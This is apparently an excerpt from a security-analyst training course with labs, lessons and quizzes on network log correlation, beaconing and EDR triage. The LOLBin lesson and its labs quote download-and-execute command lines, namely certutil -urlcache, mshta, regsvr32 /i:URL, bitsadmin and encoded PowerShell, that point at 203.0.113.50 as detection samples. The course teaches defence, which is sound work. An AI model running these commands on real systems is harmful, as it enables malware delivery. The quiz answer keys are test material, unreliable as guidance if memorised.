OBJECTIVE

Join conn.log and dns.log by uid and link the connection to a domain.

STEPS IN THE SIMULATOR

- 1 **Do:** Search conn.log for id.resp_h 203.0.113.50.

Simulator shows:

1 row: uid CYN21N3p0F9mFhq9a2, orig 192.0.2.10:50514, resp 203.0.113.50:80, SF, orig_bytes 482.

- 2 **Do:** Search http.log for uid CYN21N3p0F9mFhq9a2.

Simulator shows:

POST /api/v2/sync, user_agent python-requests/2.28, status 200.

- 3 **Do:** Search dns.log for id.orig_h 192.0.2.10 with answers containing 203.0.113.50.

Simulator shows:

query update.example.net, A, answers 203.0.113.50, ts 02:13:58 (a different uid).

- 4 **Do:** Compare timestamps.

Simulator shows:

DNS answer 11 seconds before the connection.

ANSWER

The connection (uid CYN21N3p0F9mFhq9a2) to 203.0.113.50 is linked to the domain update.example.net, which 192.0.2.10 resolved 11 seconds earlier. DNS has its own uid, so the link is made by address and time.

Hint shown in the app: DNS queries have their own uid; match on the answer IP and timing.

Detect beaconing

SCENARIO

Three workstations appear in the connection interval view for the last 24 hours. One is infected with malware that calls home.

OBJECTIVE

Choose the host that beacons every 60 seconds.

STEPS IN THE SIMULATOR

- 1 **Do:** Open host WS-A chart.

Simulator shows:

Irregular bursts, 9am to 5pm, intervals from 2 s to 40 min.

- 2 **Do:** Open host WS-B chart.

Simulator shows:

Steady 300 s interval to an allowlisted update server.

- 3 **Do:** Open host WS-C chart.

Simulator shows:

Ticks every 60 s (stdev 0.3 s) to 203.0.113.50 all 24 hours, ~480 bytes each.

- 4 **Do:** Select a verdict.

Simulator shows:

Choose WS-A, WS-B or WS-C.

- 5 **Do:** Submit WS-C.

Simulator shows:

Correct. Recorded: 60 s beacon to 203.0.113.50, escalate for containment.

ANSWER

WS-C is beaconing: constant 60 second intervals, small uniform payloads, 24 hour activity and an unrecognized destination.
WS-A is human, WS-B is benign and allowlisted.

Hint shown in the app: Humans are bursty; allowlisted updaters are periodic but expected.

Network Traffic Analysis: 10 questions, 80% to pass

1. Which TCP flag combination is the first packet of a handshake?
 - A) SYN
 - B) SYN,ACK
 - C) ACK
 - D) FIN
2. Which filter hides packets without discarding them?
 - A) BPF capture filter
 - B) Display filter
 - C) Snap length
 - D) Ring buffer
3. Which statistics view best finds the top talkers by bytes?
 - A) Conversations
 - B) Flow Graph
 - C) Packet Lengths
 - D) Expert Info
4. Many random-looking NXDOMAIN lookups from one host suggest
 - A) DGA
 - B) A zone transfer
 - C) Fast DHCP
 - D) IPv6 SLAAC
5. Which header most clearly hints at script-based HTTP C2?
 - A) Accept-Language
 - B) User-Agent python-requests
 - C) Cache-Control
 - D) Connection
6. Writing an executable to ADMIN\$ then using svcctl suggests
 - A) Printing
 - B) PsExec-style execution
 - C) DNS tunneling
 - D) Backup
7. Which Zeek field joins conn.log with http.log?
 - A) uid
 - B) ts
 - C) proto
 - D) duration
8. Suricata alerts are stored in
 - A) eve.json
 - B) conn.log
 - C) dns.log
 - D) pcap.txt
9. A beacon with jitter will most likely show
 - A) Exactly equal intervals
 - B) Intervals clustered around a median with some variation
 - C) Only one packet
 - D) Only UDP
10. Which is the strongest sign of exfiltration?
 - A) Large outbound upload to a new destination at 02:00
 - B) Many ARP broadcasts
 - C) A short DNS lookup
 - D) An NTP sync

Answers: 1-A 2-B 3-A 4-A 5-B 6-B 7-A 8-A 9-B 10-A

1. A client starts with SYN alone.
2. Display filters only change the view.
3. Conversations can be sorted by bytes.
4. DGA malware tries many generated names.
5. A scripting library UA on a workstation is unusual.
6. This is the classic remote service execution sequence.
7. uid links all logs of a connection.
8. eve.json is Suricata's event output.
9. Jitter widens the spread but the pattern stays clustered.
10. Unusual volume, destination and time together are strong evidence.

Endpoint Detection and Response

Intermediate | 5 lessons | 4 simulated labs | checkpoint | about 4h 25m

Endpoint Detection and Response covers how EDR agents collect telemetry and turn it into detections, and how to read the evidence. You will learn to judge process trees and parent-child relationships, recognize living-off-the-land binaries such as certutil and rundll32, work an alert with a consistent triage checklist, and decide when and how to contain a host. Endpoints are where most attacks execute, so these skills let a SOC confirm threats quickly and limit damage.

BY THE END YOU CAN

- + Explain how EDR collects telemetry and generates detections
- + Read a process tree and identify living-off-the-land abuse
- + Triage an EDR alert and decide whether to isolate the host

IN THIS MODULE

Lesson 1 EDR architecture and telemetry

Lesson 2 Process trees and parent-child analysis

Lesson 3 Living-off-the-land binaries

Lesson 4 EDR alert triage

Lesson 5 Containment and host isolation

Lab 1 Read the process tree (Log viewer)

Lab 2 Spot the LOLBin (Terminal)

Lab 3 Triage an EDR alert (Mock SIEM)

Lab 4 Isolate the host (Scenario)

Checkpoint 10 questions, 80% to pass

EDR architecture and telemetry

Most intrusions end on an endpoint. Understanding what EDR collects and how it decides tells you what it can prove and where it is blind.

Agent, sensors and kernel visibility

An EDR product installs a lightweight agent on each endpoint. The agent runs sensors that watch process creation, image and DLL loads, file writes, registry changes, network connections, and sometimes script execution and memory events. On Windows it relies on kernel callbacks such as PsSetCreateProcessNotifyRoutineEx, minifilter drivers for file activity, the Event Tracing for Windows (ETW) providers, and AMSI for script content. On Linux and macOS it uses eBPF, kernel modules or the Endpoint Security framework. Because the sensor runs close to the kernel, it sees activity even when the attacker avoids dropping files.

Cloud analysis and detection logic

The agent forwards telemetry to a cloud or on-premises backend where it is stored, enriched and analyzed at scale. Detections come from several layers: signatures and machine learning models on files, behavioral rules such as an Office application spawning a shell, indicators of attack mapped to MITRE ATT&CK techniques, and threat intelligence matches on hashes, domains and IPs. Local prevention can block or kill a process within milliseconds, while cloud analytics find patterns across the whole fleet. Alerts typically carry severity, the technique, the process tree and the affected host and user.

EDR compared with antivirus

Traditional antivirus mostly inspects files against signatures and heuristics and gives a verdict about a file. EDR records a continuous history of behavior, so you can ask what happened before and after an alert: which parent started it, what it connected to, which files it touched. EDR also gives response actions such as isolating the host, killing a process, collecting a file or opening a remote shell for live response. Modern endpoint platforms combine both, and XDR extends the idea by correlating endpoint with email, identity, cloud and network data.

Limits and blind spots

EDR is not magic. Hosts without an agent, such as unmanaged devices, printers and many IoT devices, are invisible. Attackers may try to tamper with or disable the agent, use kernel-level techniques or abuse legitimate tools to evade rules. Telemetry has retention limits, and some events are sampled or filtered for cost. Agents can be offline, so a quiet console may mean silence rather than safety. Check sensor health, last check-in time and coverage regularly, and pair EDR with network and identity logs to catch what any one source misses.

EDR EVENT RECORD (EXAMPLE)

```
time: 2026-03-02T09:41:07Z host: WS-ACCT-07 user: EXAMPLE\jdoe
event: ProcessCreate
image: C:\Windows\System32\cmd.exe
parent: C:\Program Files\Example Office\winword.exe
cmdline: cmd.exe /c whoami
sha256: 0f1e...a9 (simulated) signer: Microsoft Windows
```

WORKED EXAMPLE

A SOC receives a medium-severity EDR alert on host WS-ACCT-07. The console shows more than the single detection: the process creation, the file written to the user's Temp folder two minutes earlier, and an outbound connection to 203.0.113.50. An antivirus alone would have reported only the file verdict. The analyst uses the timeline to reconstruct the sequence and sees the sensor last checked in 30 seconds ago, so the data is current.

KEY TERMS

Telemetry: Recorded data about endpoint activity such as processes, files and connections.

Kernel callback: An operating system hook that notifies a driver of events such as process creation.

ETW: Event Tracing for Windows, a built-in facility that emits detailed system events.

AMSI: The Windows Antimalware Scan Interface that lets security tools inspect script content.

XDR: Extended detection and response that correlates data from many sources.

REMEMBER

- EDR agents collect process, file, registry and network telemetry near the kernel.
- Detection combines signatures, behavior rules, ML and intelligence.
- Check agent coverage and health since silence can mean blindness.

QUICK CHECK

1. What does EDR record that classic antivirus often does not?
 - A) Only file signatures
 - B) A continuous history of process and network behavior
 - C) Wi-Fi passwords
 - D) Printer queues
2. Which Windows facility lets security tools inspect script content?
 - A) AMSI
 - B) DHCP
 - C) NTFS
 - D) SMB
3. Which is a known EDR blind spot?
 - A) Managed laptops with agents
 - B) Unmanaged devices with no agent
 - C) Process creation events
 - D) Hashes
4. What does a silent console from a host with a stale check-in time most likely mean?
 - A) The host is clean
 - B) The agent may be offline so absence of alerts is unreliable
 - C) Detections are disabled globally
 - D) Telemetry is encrypted

Answers: 1-B 2-A 3-B 4-B

1. EDR keeps behavioral history for investigation.
2. AMSI exposes scripts to the scanner at run time.
3. Without an agent there is no telemetry.
4. No data does not prove no activity when the sensor is not reporting.

Process trees and parent-child analysis

A process tree shows how execution unfolded. Judging parent and child pairs is the quickest way to tell a normal business app from an attack in progress.

Reading a process tree

Every process has a parent, shown by its parent process ID. An EDR draws these relationships as a tree, so you can follow an attack from the first process to the last. Start from the alert and walk up to find the root cause, then down to find what the process spawned. Note the process name, full path, command line, user, integrity level, start time, hash and signer. Context matters: the same powershell.exe can be an administrator's script or malware. Look at the path (System32 versus a user Temp folder) and the command-line arguments.

Suspicious parent-child pairs

Some pairs are rarely legitimate. winword.exe, excel.exe or outlook.exe spawning cmd.exe, powershell.exe, wscript.exe or mshta.exe suggests a malicious macro or exploit. A browser spawning a shell, svchost.exe started by anything other than services.exe, lsass.exe with an unusual parent, and wmiprvse.exe or services.exe launching cmd.exe are worth attention. Expected relationships are equally useful: smss, csrss, wininit and services form the known system chain. A system binary running from the wrong folder, or with a misspelled name such as scvhost.exe, indicates masquerading.

Command lines, hashes and signers

Command lines often reveal intent: encoded commands (powershell -enc followed by base64), hidden window flags (-w hidden), download cradles such as IEX with DownloadString, or arguments that point to a remote URL. A SHA-256 hash lets you check file reputation and prevalence across the fleet; a hash seen on one host only is more suspicious than one seen on thousands. Check the digital signer: Microsoft-signed does not mean safe, because attackers abuse signed tools, but an unsigned binary in a user directory that makes network calls deserves scrutiny. Record each value in your notes.

Building the story

Combine the pieces into a timeline: email attachment opened, Word started, macro spawned PowerShell, PowerShell downloaded a file, the file ran and made a network connection. Each step should be backed by an event. Look for persistence such as scheduled tasks, services or Run keys, and for credential access or lateral movement afterward. Distinguish what is confirmed from what is guessed. If a child process is blocked by EDR, the chain may end early, but you still need to find out whether anything else executed before the block.

PROCESS TREE

```
explorer.exe (user jdoe)
  winword.exe invoice_Q1.docm
    powershell.exe -w hidden -enc SQBFAGaIAAoA...
      rundll32.exe C:\Users\jdoe\AppData\Local\Temp\a1.dll,Run
        (net) 203.0.113.50:443
```

WORKED EXAMPLE

The tree above shows Word spawning a hidden, encoded PowerShell, which then launches rundll32 against a DLL in the Temp folder and connects out to 203.0.113.50. Word has no reason to start PowerShell, the -enc and hidden flags hide intent, and a DLL in Temp is unusual. The analyst declares the chain malicious, notes the document name and DLL hash, and moves to containment, then searches the fleet for the same hash.

KEY TERMS

Parent process: The process that created another process.

Command line: The full text used to launch a process, including arguments.

Masquerading: Giving malware the name or look of a legitimate program.

Prevalence: How many hosts in the environment have a given file or hash.

Signer: The publisher named in a file's digital signature.

REMEMBER

- Walk up from the alert to the root cause, then down to the effects.
- Office-to-shell and similar pairs are strong indicators.
- Use command line, path, hash, signer and prevalence together.

QUICK CHECK

1. Which parent-child pair is most suspicious?
 - A) explorer.exe to chrome.exe
 - B) winword.exe to powershell.exe
 - C) services.exe to svchost.exe
 - D) wininit.exe to services.exe
2. What does powershell -enc indicate?
 - A) A GUI option
 - B) An encoded base64 command that hides content
 - C) Encryption of the disk
 - D) Elevated privileges
3. A file hash seen on exactly one host in the fleet is
 - A) More suspicious than a hash seen on thousands
 - B) Always safe
 - C) Always malware
 - D) Irrelevant
4. Which name suggests masquerading?
 - A) svchost.exe in System32
 - B) scvhost.exe in a user folder
 - C) explorer.exe in Windows
 - D) cmd.exe in System32

Answers: 1-B 2-B 3-A 4-B

1. Office applications rarely launch PowerShell legitimately.
2. -EncodedCommand takes a base64 string that obscures the script.
3. Low prevalence suggests a rare or targeted file.
4. A near-miss name in an odd path imitates a system binary.

Living-off-the-land binaries

Attackers prefer tools already on the system because they are trusted and leave no new files to scan. Recognizing their abuse is a core endpoint skill.

What LOLBins are

Living-off-the-land binaries, scripts and libraries (LOLBins) are legitimate, usually Microsoft-signed, programs that attackers misuse to download, execute, or hide malicious content. Using them avoids dropping obvious malware, may bypass application allowlisting and blends with administration. The community project LOLBAS (Living Off The Land Binaries, Scripts and Libraries) catalogs each binary with its abuse functions and maps them to ATT&CK, for example T1218 System Binary Proxy Execution. Detection rests on unusual arguments, parents, network activity and locations, since the binary itself is not malicious.

Common examples

certutil.exe is a certificate tool abused with -urlcache -split -f to download files and -decode to decode base64 payloads. mshta.exe runs HTML applications and remote scripts. rundll32.exe loads a DLL and calls an exported function, used for proxy execution. regsvr32.exe with /s /u /i:URL scrobj.dll can run remote scriptlets. bitsadmin.exe creates background transfer jobs to download files. wmic.exe can run processes locally and remotely and query systems. Others include msbuild.exe, cscript, installutil and powershell itself.

Signs of abuse

Abuse is visible in command-line details. certutil with a URL, mshta or regsvr32 with an http address, rundll32 with a DLL from Temp, AppData or a Public folder, or with a function such as #1 or an odd name, bitsadmin with /transfer to an unusual host, and wmic with process call create against a remote node. Network connections initiated by binaries that normally do not touch the internet, like regsvr32 or rundll32, are strong evidence. Also notice the parent: a LOLBin spawned by an Office document or a script host raises suspicion further.

Detection and prevention

Build detections around parent-child pairs, rare arguments and outbound connections rather than the binary name. Consider baseline usage: your IT team may use certutil or bitsadmin legitimately, so allowlist those known uses precisely. Prevention options include application control such as WDAC or AppLocker, attack surface reduction rules, constrained PowerShell, removing unused features, and blocking outbound access from servers that do not need it. Log full command lines (Event ID 4688 with command line auditing, and Sysmon Event ID 1) so you have the data to detect and investigate.

COMMAND LINES TO REVIEW

```
certutil.exe -urlcache -split -f http://203.0.113.50/a.txt C:\Users\Public\a.exe
mshta.exe http://203.0.113.50/x.hta
rundll32.exe C:\Users\jdoe\AppData\Local\Temp\aa1.dll,Run
regsvr32 /s /u /i:http://203.0.113.50/s.sct scrobj.dll
bitsadmin /transfer j /download /priority high http://203.0.113.50/b.exe C:\Temp\b.exe
```

WORKED EXAMPLE

An analyst reviews a list of command lines from one host. The certutil line downloads a file from an external IP into the Public folder, which is not what certificate management looks like. The rundll32 line loads a DLL from the user's Temp folder. Both use trusted Microsoft binaries, yet the arguments and locations give them away. The analyst flags the two lines, retrieves the downloaded files for hashing, and checks LOLBAS to confirm the techniques.

KEY TERMS

LOLBin: A legitimate system binary that attackers misuse for malicious purposes.

LOLBAS: A community catalog documenting living-off-the-land binaries and their abuse.

Proxy execution: Running malicious code through a trusted signed binary.

Application control: A policy such as AppLocker or WDAC that limits which programs may run.

Sysmon: A Microsoft tool that logs detailed process, network and file events.

REMEMBER

- LOLBins are trusted tools used for download, execution and evasion.
- certutil, mshta, rundll32, regsvr32, bitsadmin and wmic are frequent examples.
- Detect by arguments, parents and network use; control with allowlisting.

QUICK CHECK

1. Which certutil use is a red flag?
 - A) -viewstore
 - B) -urlcache -split -f http://203.0.113.50/a.txt
 - C) -store My
 - D) -verify
2. Which binary is used for proxy execution of a DLL export?
 - A) rundll32.exe
 - B) ping.exe
 - C) notepad.exe
 - D) hostname.exe
3. Why is blocking by binary name alone not enough?
 - A) Binaries are never signed
 - B) The binary has legitimate uses and attackers vary arguments
 - C) Names are random
 - D) EDR cannot see names
4. Which log source provides full command lines on Windows?
 - A) Event ID 4688 with auditing, or Sysmon Event ID 1
 - B) DNS cache
 - C) Print spooler
 - D) ARP table

Answers: 1-B 2-A 3-B 4-A

1. -urlcache with -f downloads a remote file.
2. rundll32 loads a DLL and calls a function.
3. The same binary is used by admins, so detection must use arguments, parents and network.
4. Process creation auditing and Sysmon capture command lines.

EDR alert triage

An analyst sees many alerts each shift. A consistent checklist yields fast, defensible verdicts and keeps real threats from being buried.

Scope and context

Begin by understanding what fired: the rule name, the ATT&CK technique, severity and confidence. Identify the host, its role (laptop, server, domain controller) and criticality, and the user, including privilege level. A suspicious alert on a domain controller or an administrator account raises priority. Check whether the activity is still running or was blocked. Read the process tree and command line, and note the time relative to working hours. This quickly answers the basic questions: what happened, where, to whom and is it ongoing.

History, prevalence and reputation

Look at the host's earlier alerts and recent behavior: new software installs, logons from odd places, other detections. Check prevalence: how many other hosts ran this file or command in the last 30 days. Wide prevalence, a trusted signer and a known deployment tool such as a software distribution agent point to a false positive. Check hash and domain reputation in threat intelligence, but treat a clean result as unknown rather than safe, since new malware has no history. Compare with known administrative activity, change tickets or scheduled maintenance windows.

Reaching a verdict

Classify as true positive (malicious), benign true positive (real behavior that is authorized, such as a red-team test or admin script), false positive (detection error) or undetermined needing escalation. Record the evidence for the verdict: the specific events and fields. If you cannot decide, ask the user or their manager a precise question, or escalate to a senior analyst with your notes. Avoid anchoring on the first theory. Search for related activity on other hosts, because one alert is frequently one piece of a larger intrusion.

Documentation and tuning

Write the case note so that another analyst can understand it without the console: summary, evidence, verdict, actions taken and open questions. For recurring false positives, propose a tuning change such as an exclusion limited to a specific path, parent, user group and command line, never a broad disable. Track time to triage and the true positive rate to find noisy rules. Good notes also protect you in later audits and support reporting to management, legal or the incident response team.

TRIAGE CHECKLIST

1. Rule/technique/severity: what fired?
2. Host role and criticality, user and privileges
3. Process tree + command line: blocked or running?
4. Host history: prior alerts, installs, logons
5. Prevalence, signer, hash/domain reputation
6. Change ticket or admin explanation?
7. Verdict + evidence + action + notes

WORKED EXAMPLE

An alert fires for powershell with an encoded command on a build server. The analyst sees the parent is the company's deployment agent, the same command ran on 40 build servers in the past week, the signer is the vendor, and a change ticket covers the rollout. The verdict is benign true positive, and the analyst proposes a narrow exclusion for that parent and command line. By contrast, the same command on an accountant's laptop spawned by Word would be escalated.

KEY TERMS

True positive: An alert that correctly identifies malicious activity.

False positive: An alert that fires on benign activity by mistake.

Benign true positive: Genuine detected behavior that is authorized or harmless.

Prevalence: How common a file or behavior is across the environment.

Tuning: Adjusting detection rules to reduce noise without losing coverage.

REMEMBER

- Work through scope, user, history, prevalence, reputation and verdict.
- Back every verdict with evidence and clear notes.
- Tune narrowly and hunt for related activity on other hosts.

QUICK CHECK

1. Which factor most raises the priority of an alert?
 - A) It occurred on a domain controller with an admin account
 - B) It occurred on a test VM
 - C) It is low severity
 - D) It occurred at noon
2. A clean reputation result for a new hash means
 - A) It is safe
 - B) It is unknown, not proven safe
 - C) It is malicious
 - D) It is signed
3. Which tuning change is best for a recurring false positive?
 - A) Disable the rule
 - B) A narrow exclusion limited to the specific parent, path and user group
 - C) Delete all alerts
 - D) Lower the severity of all rules
4. A real but authorized admin script detection is a
 - A) Benign true positive
 - B) False negative
 - C) Incident
 - D) Zero day

Answers: 1-A 2-B 3-B 4-A

1. Critical asset and privileged user increase impact.
2. New malware often has no reputation yet.
3. Narrow exclusions keep detection coverage.
4. The behavior is real and authorized, so it is benign.

Containment and host isolation

Containment limits damage while you investigate. Acting too slowly lets an attacker spread, while acting too broadly disrupts the business.

Deciding whether to isolate

Isolating a host cuts its network connections except for the EDR management channel, so the attacker loses remote control while you keep access. Isolate when there is confirmed or highly likely malicious activity, evidence of C2 or lateral movement, ransomware behavior, credential theft or when a critical account is involved. Weigh business impact: isolating a production server or a clinician's workstation needs coordination with owners. When severity is high and delay is costly, many playbooks authorize immediate isolation first and consultation after. Document who approved the action and when.

Containment actions

Beyond isolation, common actions are killing a malicious process or process tree, quarantining a file, blocking a hash, domain or IP at EDR, firewall or proxy, disabling or resetting a compromised account and revoking sessions and tokens, and removing malicious persistence such as scheduled tasks. Order matters: preserve volatile evidence where possible by collecting a triage package or memory image before reboot, then contain, then eradicate. Killing a process before collecting its details can lose information, but not stopping active ransomware loses data, so judge by urgency.

Evidence and chain of custody

Keep a record of every response action with times in UTC, the analyst, the reason and the result. Preserve relevant files, logs and memory with hashes, and store them securely so they can be used by forensic teams or legal processes. Avoid logging in to the compromised host with privileged accounts that could expose credentials. Use the EDR live response feature with an account created for that purpose. Do not wipe or reimage a machine until investigation is complete and the incident lead approves.

Verification and release

After isolation, confirm that the host shows as isolated in the console and that known C2 connections stopped. Search the fleet for the same indicators to find other infected hosts. Remediation might mean reimaging, restoring from a known-good backup and resetting passwords for accounts used on that host. Only release the host from isolation after cleaning is verified and monitoring is in place, and note the release in the case. Capture lessons learned, such as the detection gap or missing control, to improve future response.

RESPONSE LOG ENTRY

```
2026-03-02 09:55Z WS-ACCT-07 analyst: a.fake
09:52 Triage package collected (hash 7c1d...e2)
09:54 Process tree killed: winword.exe > powershell.exe
09:55 Host isolated (EDR network containment) - confirmed
09:57 Hash a1.dll blocked; 203.0.113.50 blocked at proxy
10:05 Account jdoe password reset, sessions revoked
```

WORKED EXAMPLE

A true positive shows a macro launching PowerShell that connects to 203.0.113.50 from WS-ACCT-07. The analyst collects the triage package, kills the process tree, isolates the host and confirms the console shows isolated status. She blocks the hash and IP, resets the user's password and searches the fleet, finding one more host with the same DLL. Each action is logged with a time and reason, and the user is told to leave the laptop connected but untouched.

KEY TERMS

Host isolation: An EDR action that cuts the host's network access except to the management channel.

Containment: Actions that stop an incident from spreading or causing more harm.

Eradication: Removing the attacker's presence such as malware and persistence.

Triage package: A collection of volatile and key artifacts gathered from a host.

Live response: Remote shell and file access through the EDR console.

REMEMBER

- Isolate on confirmed malicious activity, weighing business impact.
- Preserve evidence, then contain and eradicate in a sensible order.
- Verify isolation, hunt for other hosts and document every action.

QUICK CHECK

1. When is host isolation most appropriate?
 - A) Any low alert
 - B) Confirmed or highly likely malicious activity such as C2 or ransomware
 - C) Never
 - D) Only on Mondays
2. What should be done before reimaging a compromised host?
 - A) Nothing
 - B) Preserve evidence and get approval from the incident lead
 - C) Delete logs
 - D) Reset BIOS
3. Which step confirms isolation worked?
 - A) Assuming it did
 - B) Checking the console status and that C2 connections stopped
 - C) Rebooting
 - D) Sending an email
4. Why log each response action with time and reason?
 - A) For fun
 - B) For accountability, handoff and later investigation
 - C) It reduces CPU
 - D) It is optional

Answers: 1-B 2-B 3-B 4-B

1. Isolation stops attacker control when compromise is likely.
2. Evidence and authorization come before destruction of the system.
3. Verify the host is isolated and malicious traffic ceased.
4. Records support audits, handoffs and forensic work.

Read the process tree

SCENARIO

An EDR alert fired on laptop WS-ACCT-07 for user EXAMPLE\jdoe shortly after the user opened an emailed attachment. The log viewer shows the process events in order.

OBJECTIVE

Trace the tree from the attachment to the child shell and name the suspicious step.

STEPS IN THE SIMULATOR

- 1 **Do:** Open the alert and view the first event.

Simulator shows:

09:40:58 outlook.exe (PID 4120) wrote invoice_Q1.docm to Downloads.

- 2 **Do:** Next event.

Simulator shows:

09:41:03 explorer.exe started winword.exe invoice_Q1.docm.

- 3 **Do:** Next event.

Simulator shows:

09:41:07 winword.exe started cmd.exe /c whoami (PID 5532).

- 4 **Do:** Next event.

Simulator shows:

09:41:09 cmd.exe started powershell.exe -w hidden -enc SQBFAFgA...

- 5 **Do:** Next event.

Simulator shows:

09:41:12 powershell.exe connected to 203.0.113.50:443.

ANSWER

The suspicious step is winword.exe spawning cmd.exe and then hidden, encoded PowerShell, followed by an outbound connection to 203.0.113.50. A malicious macro in invoice_Q1.docm is the likely root cause.

Hint shown in the app: Ask which application should never launch a shell.

Spot the LOLBin

SCENARIO

The terminal lists five command lines collected from one workstation in the last hour. Two of them abuse trusted binaries.

OBJECTIVE

Flag the certutil download and the rundll32 proxy execution.

STEPS IN THE SIMULATOR

- 1 **Do:** Run: show cmdlines.

Simulator shows:

```
1) ping 192.0.2.1 2) certutil -urlcache -split -f http://203.0.113.50/a.txt C:\Users\Public\a.exe 3) ipconfig /all 4) rundll32 C:\Users\jdoe\AppData\Local\Temp\a1.dll,Run 5) whoami
```

- 2 **Do:** Run: flag 2.

Simulator shows:

Line 2 flagged: certutil used to download a file (LOLBAS: Download).

- 3 **Do:** Run: flag 4.

Simulator shows:

Line 4 flagged: rundll32 executing a DLL from Temp (LOLBAS: Execute).

- 4 **Do:** Run: flag 1.

Simulator shows:

Line 1 is routine network testing. Not suspicious on its own.

- 5 **Do:** Run: submit.

Simulator shows:

Correct: lines 2 and 4 flagged. Lines 1, 3, 5 are common discovery commands, worth noting but benign alone.

ANSWER

Line 2 (certutil -urlcache -split -f to an external IP) is a download via LOLBin, and line 4 (rundll32 on a DLL in Temp) is proxy execution of malicious code. Lines 1, 3 and 5 are ordinary commands.

Hint shown in the app: Look for URLs and Temp or Public folder paths.

Triage an EDR alert

SCENARIO

An alert shows powershell -enc on server BUILD-12 spawned by the deployment agent. Use the SIEM views to decide whether it is real.

OBJECTIVE

Check host history, file prevalence and user context and label the alert.

STEPS IN THE SIMULATOR

- 1 **Do:** Open host history for BUILD-12.

Simulator shows:

Last 30 days: 0 prior alerts. Software deployment agent runs weekly.

- 2 **Do:** Check command-line prevalence.

Simulator shows:

Same command line seen on 39 other build servers in 7 days.

- 3 **Do:** Check the user context.

Simulator shows:

Account: EXAMPLE\svc-deploy (service account, expected on build servers).

- 4 **Do:** Check the change calendar.

Simulator shows:

Change CHG-1042: agent update rollout, 2026-03-02 window 09:00-11:00 UTC.

- 5 **Do:** Select a verdict.

Simulator shows:

Options: True positive, False positive, Escalate.

- 6 **Do:** Choose False positive (benign).

Simulator shows:

Accepted. Suggested tuning: exclude parent deploy-agent.exe with this command hash on BUILD servers only.

ANSWER

The alert is a false positive (benign authorized activity): the deployment agent ran the same encoded command on 39 other servers under a service account during an approved change window. Add a narrow exclusion, not a broad disable.

Hint shown in the app: Prevalence plus a change ticket is strong support.

Isolate the host

SCENARIO

Confirmed malicious activity was found on WS-ACCT-07: macro, PowerShell and C2 to 203.0.113.50. You must choose containment actions in a sensible order.

OBJECTIVE

Choose actions in order, confirm isolation and record them in the case notes.

STEPS IN THE SIMULATOR

- 1 **Do:** Select first action: collect triage package.

Simulator shows:

Package collected, hash 7c1d...e2 stored in the case.

- 2 **Do:** Select: kill process tree winword > powershell.

Simulator shows:

Processes terminated. No new child processes seen.

- 3 **Do:** Select: isolate host.

Simulator shows:

Isolation command sent. Console status: Isolated (management channel only).

- 4 **Do:** Select: block hash a1.dll and IP 203.0.113.50.

Simulator shows:

Hash added to blocklist. IP blocked on proxy.

- 5 **Do:** Select: reset account and revoke sessions for jdoe.

Simulator shows:

Password reset required and sessions revoked.

- 6 **Do:** Open case notes and record actions.

Simulator shows:

Notes saved with UTC times and your analyst ID.

ANSWER

Correct order: collect evidence, kill the malicious processes, isolate the host and confirm status, block indicators, reset the compromised account, then record every action with times in the case notes. Do not reimage before approval.

Hint shown in the app: Evidence first, then stop spread, then verify and document.

Endpoint Detection and Response: 10 questions, 80% to pass

1. Which sensor technology gives EDR deep Windows process visibility?
 - A) Kernel callbacks and ETW
 - B) Printer drivers
 - C) Screen savers
 - D) DHCP leases
2. How does EDR differ from classic AV?
 - A) It only scans files
 - B) It keeps behavioral history and offers response actions
 - C) It has no cloud
 - D) It replaces firewalls
3. Which parent-child pair is a strong malicious indicator?
 - A) winword.exe to powershell.exe
 - B) services.exe to svchost.exe
 - C) explorer.exe to notepad.exe
 - D) wininit.exe to services.exe
4. What does a rare hash seen on one host suggest?
 - A) It is safe
 - B) Possibly a targeted or new file worth scrutiny
 - C) Nothing
 - D) A Microsoft update
5. Which command is typical LOLBin download abuse?
 - A) certutil -urlcache -split -f URL file
 - B) hostname
 - C) dir
 - D) cls
6. What should regsvr32 with an http scriptlet address make you think of?
 - A) Normal driver install
 - B) Remote scriptlet execution
 - C) Disk repair
 - D) DNS
7. Which is a benign true positive?
 - A) Malware blocked
 - B) An authorized admin script that triggered a real detection
 - C) A false alert from a faulty rule
 - D) A zero day
8. What is best for a recurring false positive?
 - A) Disable the rule
 - B) Narrow exclusion by parent, path and user
 - C) Ignore all alerts
 - D) Delete the host
9. What should come before reimaging a host?
 - A) Evidence preservation and approval
 - B) Immediate wipe
 - C) Ignoring the alert
 - D) Public announcement
10. After isolating a host you should
 - A) Confirm status, hunt for the same indicators on other hosts and document
 - B) Walk away
 - C) Delete logs
 - D) Power on more hosts

Answers: 1-A 2-B 3-A 4-B 5-A 6-B 7-B 8-B 9-A 10-A

1. Kernel callbacks and ETW supply process and system events.
2. EDR records behavior and allows isolation and live response.
3. Office launching a shell is typical of macro malware.
4. Low prevalence deserves closer inspection.
5. certutil can fetch remote files.
6. The /i:URL scrobj.dll pattern runs remote scripts.
7. The behavior is real but authorized.
8. Narrow scoped tuning keeps coverage.
9. Evidence and sign-off protect the investigation.
10. Verification, scoping and documentation complete containment.

Phishing and Email Analysis

Intermediate | 5 lessons | 4 simulated labs | checkpoint | about 4h 25m

Phishing and Email Analysis shows how to investigate suspicious messages from the first report to final cleanup. You will trace message paths through headers, interpret SPF, DKIM and DMARC results, safely unwind URLs and redirect chains, examine attachments with static tools and sandboxes, and run a complete user-report workflow including search, purge and blocking. Email remains the most common intrusion path, so doing this quickly and consistently reduces real risk.

BY THE END YOU CAN

- + Read email headers to trace sender path and spoofing
- + Interpret SPF, DKIM and DMARC results
- + Analyze URLs and attachments and run the user-report workflow

IN THIS MODULE

Lesson 1 Email flow and header fields

Lesson 2 SPF, DKIM and DMARC

Lesson 3 URL analysis

Lesson 4 Attachment analysis and sandboxing

Lesson 5 User-report workflow

Lab 1 Trace the headers (Log viewer)

Lab 2 Read auth results (Config editor)

Lab 3 Analyze the URL (Web proxy)

Lab 4 Phish response (Scenario)

Checkpoint 10 questions, 80% to pass

Email flow and header fields

Phishing is the leading way in for attackers. Headers are the evidence trail that shows where a message really came from and whether the sender is who they claim.

How email travels

A sender's mail client submits a message to its mail server (MSA) over SMTP, usually port 587 with authentication. The server looks up the recipient domain's MX record in DNS and relays the message over SMTP port 25 to the destination mail transfer agent (MTA), possibly through gateways and filters. The final server stores it for the user, who reads it through IMAP, POP3 or a web client. Each server that handles the message adds a Received header at the top. Because of this stacking, the first hop is at the bottom of the header block and the last hop is at the top.

Reading Received headers

